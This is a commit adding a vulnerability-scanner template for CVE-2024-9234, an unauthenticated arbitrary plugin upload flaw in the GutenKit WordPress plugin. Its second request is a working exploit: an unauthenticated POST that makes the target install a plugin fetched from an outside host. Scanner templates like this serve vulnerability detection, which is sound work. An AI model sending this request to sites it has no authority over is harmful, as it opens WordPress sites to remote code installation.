Merge pull request #11047 from Kazgangap/CVE-2024-9234

add CVE-2024-9234
patch-12
Ritik Chaddha 2024-10-22 14:26:33 +05:30 committed by GitHub
commit 40f706f095
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 61 additions and 0 deletions

View File

@ -0,0 +1,61 @@
id: CVE-2024-9234
info:
name: GutenKit <= 2.1.0 - Arbitrary File Upload
author: s4e-io
severity: critical
description: |
The GutenKit Page Builder Blocks, Patterns, and Templates for Gutenberg Block Editor plugin for WordPress is vulnerable to arbitrary file uploads due to a missing capability check on the install_and_activate_plugin_from_external() function (install-active-plugin REST API endpoint) in all versions up to, and including, 2.1.0. This makes it possible for unauthenticated attackers to install and activate arbitrary plugins, or utilize the functionality to upload arbitrary files spoofed like plugins.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-9234
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/gutenkit-blocks-addon/gutenkit-210-unauthenticated-arbitrary-file-upload
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-9234
cwe-id: CWE-862
epss-score: 0.00045
epss-percentile: 0.16482
metadata:
verified: true
max-request: 2
vendor: wpmet
product: gutenkit
framework: wordpress
fofa-query: body="wp-content/plugins/gutenkit-blocks-addon"
tags: cve,cve2024,wordpress,wp-plugin,gutenkit,file-upload,intrusive
variables:
filename: "{{rand_text_alpha(12)}}"
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body, "/wp-content/plugins/gutenkit-blocks-addon")'
- 'status_code == 200'
condition: and
internal: true
- raw:
- |
POST /wp-json/gutenkit/v1/install-active-plugin HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
plugin=http://{{interactsh-url}}/{{filename}}.zip
matchers:
- type: dsl
dsl:
- 'contains_all(body, "Failed to unzip plugin", "success\":false")'
- 'contains(content_type, "application/json")'
- 'status_code == 200'
condition: and